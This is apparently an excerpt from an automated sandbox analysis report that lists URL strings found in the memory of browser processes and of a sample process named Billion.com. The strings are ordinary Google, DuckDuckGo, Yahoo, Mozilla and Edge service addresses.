Source: chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816785979.0000278000FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810110703.000027800050C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, 16PP89.12.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icoue
Source: chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000012.00000002.2812447524.0000278000BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000012.00000002.2812447524.0000278000BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000012.00000002.2812447524.0000278000BA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: chrome.exe, 00000012.00000002.2811895050.00002780009C4000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000012.00000003.2722102002.00002780004C0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2882165201.000026600016C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.3000415537.000074F40238C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: manifest.json0.27.dr	String found in binary or memory: https://chrome.google.com/webstore/
Source: chrome.exe, 00000012.00000002.2810742039.00002780006C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000012.00000002.2817463999.00002780010D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812036983.0000278000A34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811010314.0000278000740000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811895050.00002780009C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000012.00000002.2812036983.0000278000A34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en3
Source: chrome.exe, 00000012.00000003.2738845827.0000278000494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2813166467.0000278000CE7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2748604396.0000278000CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2734096350.0000278000494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2734179595.0000278000CEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735589307.0000278000CEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000012.00000003.2769525973.00002780014E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769597201.00002780014FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717797344.0000004400684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769573535.00002780014F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2796338915.000000440078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000012.00000003.2717396874.000000440039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2717142426.0000004400390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000012.00000002.2809048837.000027800020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000012.00000002.2809048837.000027800020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000012.00000002.2808273997.0000278000014000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2882165201.000026600016C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.3000415537.000074F40238C000.00000004.00000800.00020000.00000000.sdmp, manifest.json0.27.dr	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000012.00000002.2812984073.0000278000C97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g
Source: chrome.exe, 00000012.00000003.2713642249.00002CCC002F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2713624499.00002CCC002E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000012.00000003.2739003701.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810913405.0000278000708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810771573.00002780006D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812647167.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2759214939.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2776245551.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735408123.0000278000C30000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2808334809.0000278000044000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722102002.00002780004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000015.00000002.2881594802.0000266000040000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000019.00000002.2997998932.000074F402220000.00000004.00000800.00020000.00000000.sdmp, manifest.json.27.dr	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000012.00000002.2811895050.00002780009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000012.00000002.2811895050.00002780009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000012.00000002.2808984785.00002780001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chrome.exe, 00000012.00000002.2810554189.0000278000650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: Billion.com, 0000000C.00000002.3328091669.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000006194000.00000004.00000800.00020000.00000000.sdmp, HDJEU3.12.dr	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
Source: Billion.com, 0000000C.00000002.3328091669.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000006194000.00000004.00000800.00020000.00000000.sdmp, HDJEU3.12.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000012.00000002.2819102129.0000278001344000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: 2cc80dabc69f58b6_0.27.dr, Reporting and NEL.28.dr	String found in binary or memory: https://deff.nelreports.net/api/report?cat=msn
Source: chrome.exe, 00000012.00000002.2809431183.0000278000374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: manifest.json.27.dr	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000012.00000003.2769737177.000027800153C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2769702296.0000278001534000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview
Source: chrome.exe, 00000012.00000003.2767384010.000027800140C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809890970.0000278000488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812065716.0000278000A50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812984073.0000278000C97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000012.00000002.2811350010.000027800080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2811255241.00002780007C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810055623.00002780004DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812984073.0000278000C97000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809890970.0000278000488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816785979.0000278000FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810110703.000027800050C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2809890970.0000278000488000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000012.00000002.2811153144.0000278000780000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2816785979.0000278000FEC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810110703.000027800050C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: manifest.json.27.dr	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000012.00000002.2809431183.0000278000374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000012.00000002.2809431183.0000278000374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000012.00000002.2809431183.0000278000374000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googlP7
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-preprod.corp.google.com/
Source: manifest.json.27.dr	String found in binary or memory: https://drive-staging.corp.google.com/
Source: chrome.exe, 00000012.00000003.2739029225.0000278000310000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-thirdparty.googleusercontent.com/32/type/
Source: manifest.json.27.dr	String found in binary or memory: https://drive.google.com/
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/:
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/?lfhs=2
Source: chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/J
Source: chrome.exe, 00000012.00000002.2809376618.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2735151718.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810820713.00002780006FD000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2732621548.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2722834070.000027800056C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2739029225.0000278000358000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2810140682.000027800053B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000003.2736735650.0000278000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/drive/installwebapp?usp=chrome_default
Source: chrome.exe, 00000012.00000002.2811895050.00002780009C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=
Source: chrome.exe, 00000012.00000002.2811895050.00002780009C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/?q=searchTerms
Source: chrome.exe, 00000012.00000003.2785855672.0000278000C2C000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.ico
Source: Billion.com, 0000000C.00000002.3328091669.000000000437A000.00000004.00000800.00020000.00000000.sdmp, Billion.com, 0000000C.00000002.3331378130.0000000005F0B000.00000004.00000800.00020000.00000000.sdmp, Web Data.27.dr, 16PP89.12.dr, 58YU37.12.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: chrome.exe, 00000012.00000002.2812775099.0000278000C5C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/chrome_newtabi
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_hc.png/1.2.1/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_dark.png/1.2.1/ass
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr, HubApps Icons.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/as
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.1.17/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_dark.png/1.6.8/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.1.17/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_active_light.png/1.6.8/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.1.17/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_chatB_hc.png/1.6.8/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_hc.png/0.1.3/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_dark.png/0.1.3/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_history_maximal_light.png/0.1.3/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_hc.png/1.3.6/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_dark.png/1.3.6/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr, HubApps Icons.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.4.0/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_dark.png/1.5.13/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.4.0/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_hc.png/1.5.13/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.4.0/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_settings_light.png/1.5.13/asset
Source: a0ee6985-01db-47c8-9b02-dc26a8a7baf2.tmp.27.dr	String found in binary or memory: https://edgeassetservice.azureedge.net/assets/edge_hub_apps_shopping_hc.png/1.4.0/asset
